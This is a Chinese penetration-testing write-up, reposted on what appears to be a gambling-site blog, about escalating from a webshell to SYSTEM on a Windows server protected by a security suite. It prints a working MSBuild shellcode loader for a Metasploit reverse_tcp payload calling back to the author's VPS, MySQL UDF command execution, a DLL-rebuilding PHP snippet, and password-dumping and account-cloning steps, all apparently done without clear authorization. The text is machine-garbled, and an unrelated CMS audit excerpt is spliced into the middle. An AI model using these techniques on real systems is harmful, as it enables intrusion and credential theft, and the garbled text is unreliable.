绕过某平安防护套装顺序实战提权 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

绕过某平安防护套装顺序实战提权

申博_安全预警 申博 167次浏览 未收录 0个评论

0x00 媒介

寻常本身挺喜好折腾的,有时刻遇到一个好的打破点会折腾它个几天几夜,方才忙完护网,正准备修整几天,倏忽有人同伙联络我说有个义务须要搞进去,问我能行不能行,厥后得知是已拿到webshell了,经由历程一番勤奋便有了下文。

0x01 前期的信息探听**

起首拿到webshell,发明phpshell只能接见shell地点目次,连网站根目次都跨不外去如图:

绕过某平安防护套装顺序实战提权
c盘d盘根目次就更别提跨过去了,随之实行一下敕令看看,如图:

绕过某平安防护套装顺序实战提权

whoami等简朴的敕令能够跑起来,tasklist发明了 某某平安套装等平安防护历程历程,om my god,刺激,就喜好这类种种须要绕的情况,既然能跑起敕令来那就上免杀的exp来试着提一下(经由历程rar解压要领打破某防护顺序上传),如图:

绕过某平安防护套装顺序实战提权
经由测试发明,不论把exp放哪一个目次都提醒谢绝接见,特别是net敕令都制止实行,更加让我觉得是装置平安防护顺序的原因;

0x02 深切

经由历程msbuild.exe白名单体式格局运转metasploit payload绕过某平安顺序调出w3wp.exe历程
在webshell实行直接实行rar顺序一向提醒谢绝接见如图:

绕过某平安防护套装顺序实战提权
在现实做测试的时刻发明windows下用shell反弹个cmdshell返来实行一些敕令要比在webshell好很多,看官请看

绕过某平安防护套装顺序实战提权
胜利将我们想要的exe顺序解压到指定目次,webshell下是没法cd到rar目次的,如今能一般上传exe,我们看能不能想设施让我们的msf不要闲下来,之前斟酌用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,然则弹返来甚么权限也没,连ps历程敕令都没法显现,这时刻就想到了运用msbuild.exe白名单体式格局运转metasploit payload绕过某防护顺序让msf上线,因而就最先着手,详细以下:
起首运用msf天生一个c#的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
代码以下:

byte[] buf = new byte[179779] {


0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,
0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,
0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,
0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,
0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,
0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,
0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,
0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,
0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,
0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,
0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,
0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,
0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,
 0x7c,0x74,0x31。。。代码太长省略。。。
 };

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
             IntPtr hThread = IntPtr.Zero;
             UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
             WaitForSingleObject(hThread, 0xFFFFFFFF);
            return true;
          } 
        }     
       ]]>
       </Code>
    </Task>
   </UsingTask>
 </Project>

用msf消费的代码替代原始代码的内容,这是原始payload以下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[179779] {
            这里是msf天生的c# shellcode,代码太长省略  
            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

须要注重的是必需改成shellcode如图:
绕过某平安防护套装顺序实战提权
然后上传到web目次,nc反弹继承实行以下敕令:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj

这时刻监听好的msf就会返回一个meterpreter如图:
绕过某平安防护套装顺序实战提权
试着在shell和meterpreter下实行exp都提醒谢绝接见,如图:
绕过某平安防护套装顺序实战提权
然则测试upload上传敕令确实是胜利调出w3wp.exe 历程,经由一番勤奋无果,只好换思绪处理。

0x03 MySQL udf提权

经由历程上面的一些测试,已无望了,这时刻就想着用其他设施,经由测试发明网站支撑asp,就上传了一个aspshell,种种翻目次种种测试,终究在网站的二级目次数据库配置文件发明了mysql root暗码,OK,上传udf提权php马,在详细测试历程当中发明,市面上的udf Php东西都被某平安顺序被杀了,我发明把被杀的php后缀修改成csproj上传不杀了,要不然不管把被杀的php换成甚么后缀名都不可,然后再经由历程PHP包罗这个文件,就能够打破了(也不知道算不算是个某防护顺序的一个bug,总之用这类设施让udf东西跑起来了),如图:

某fishcms 后台存在任意文件删除+getshell

前言 这两天挑了款 cms 审计了一下。还是 tcl ,没审计出什么很厉害的洞。分享一下挖的思路 漏洞分析 找了一圈关键字,找到一处: 后台的删除幻灯片处: 我们看到有一句: @unlink(APP_PATH . ‘..’. DS . $yfile); 而 $yfile 是哪里来的呢? $yfile = str_replace($yuming[‘option_value’],”,$slide[‘slide_pic’]); $slide 是从数据库里查出来的。 临时跳一下,跳到 添加幻灯片 处。看看我们的 slide_pic 是怎么加进去的。 可以看到是获取了 slideshow 这个参数。这里并没有任何检查 我们再跳回 removeSlide 这个函数。 我们会发现在 unlink 前有个 if: if(!empty($yfile) && $this->isLegalPicture($slide[‘slide_pic’])){ 没错,isLegalPicture 这个函数就是检查函数,这个函数大概做了两件事: 判断文件名后缀是否为图片(白名单 判断文件名是否带有 /data/ 这里第二个条件,是要 dirname 含有 /data/,不能是 /data/a.jpg ,但可以是 /data/a/a.jpg 现在知道变量来源了,我们再精简一下代码,把关键代码剪出来: $yfile = str_replace($yuming[‘option_value’],”,$slide[‘slide_pic’]);
if($this->isLegalPicture($slide[‘slide_pic’])){
@unlink(APP_PATH . ‘..’. DS

绕过某平安防护套装顺序实战提权
然后按通例导入dll,提醒dll导入胜利,建立sys_eval 函数实行敕令,却又提醒函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试历程没少折腾,用portfwd敕令转发目的3306到当地,应用sqlmap -d 上传dll提醒不胜利,厥后用–file-write敕令上传dll到system32下也失利了,然则发明上传非二进制的文件的话是胜利的,厥后经由历程检察权限证实不是权限题目如图:
select * from mysql.user where user = substring_index(user(), ‘@’, 1) ;

绕过某平安防护套装顺序实战提权
权限都很OK,很悲催dll被制止上传,可恶的平安防护呀,经由历程查询发明几个自定义函数,如图:

绕过某平安防护套装顺序实战提权
发明udf.dll已被占坑了,我们查询一下看看
select hex(load_file(‘c:/windows/system32/udf.dll’));如图:

绕过某平安防护套装顺序实战提权
我们应用php情况把它转成dll,代码以下:

<?php
echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
?>

胜利把它还原成dll文件,用c32am翻开看一下他的用法如图:

绕过某平安防护套装顺序实战提权
看看这个shell函数的用法,

绕过某平安防护套装顺序实战提权
恰好和dll内里的信息一致,然则在测试的历程当中发明cmd谁人参数用法没法实行敕令会卡死,厥后试了exec,select shell(‘exec’,’whoami’);,如图:

绕过某平安防护套装顺序实战提权
申明这个exec能够绕过平安防护实行敕令,接下来的测试中盘算运用msf来操纵,因而给目次上传了个免杀的msf东西,过全球一切的杀毒用法 msf vpsip 443,然则监听好的msf一向没返返来meterpreter,厥后没设施又用白名单实行敕令胜利上线(新鲜的还在背面)敕令以下:select shell(‘exec’,’C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj’);注重斜杠题目不然实行失足

绕过某平安防护套装顺序实战提权
然则新鲜的是已成了system权限却没设施shell,这也恰是这个目的奇葩的处所,实行shell卡死,厥后ps了一下历程发明administrator的历程migrate pid,然后再实行shell胜利实行,而且也能够实行net user 等敕令如图:

绕过某平安防护套装顺序实战提权

很OK,直接net user增加账号一定不可,应用userclone克隆增加账号暗码,账号增加胜利,然则到场到管理员组失利,手里有杀某防护顺序的神器,然则好像用不上,杀完须要重启消息太大,OK,这时刻发明administrator在线直接上传getpassword64免杀版抓明文暗码,获得administrator的明文暗码,试着用msf模块抓一下暗码,以下:
绕过某平安防护套装顺序实战提权
没有胜利,由于之前也踩点发明3389没有被某防护顺序到场主机名或许ip认证,能够一般登录,以是也不触及绕过认证登录的题目。登录如图:

绕过某平安防护套装顺序实战提权

渗入到此就完毕了。

0x04 总结

重要照样白名单绕过实行顺序及合营udf提权,遇到前人留下的udf后门直接提到system,剩下就是一顿乱折腾,不外也不白折腾,摸着石头过河没甚么欠好;第一次在先知改版后写文章,文章排版之类的照样不太熟悉,可能写的不尽人意,照样请多原谅。。。。。这里要谢谢先知V师傅,莫须有等好兄弟的大力支撑,一晚上陪我熬夜。。。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明绕过某平安防护套装顺序实战提权
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址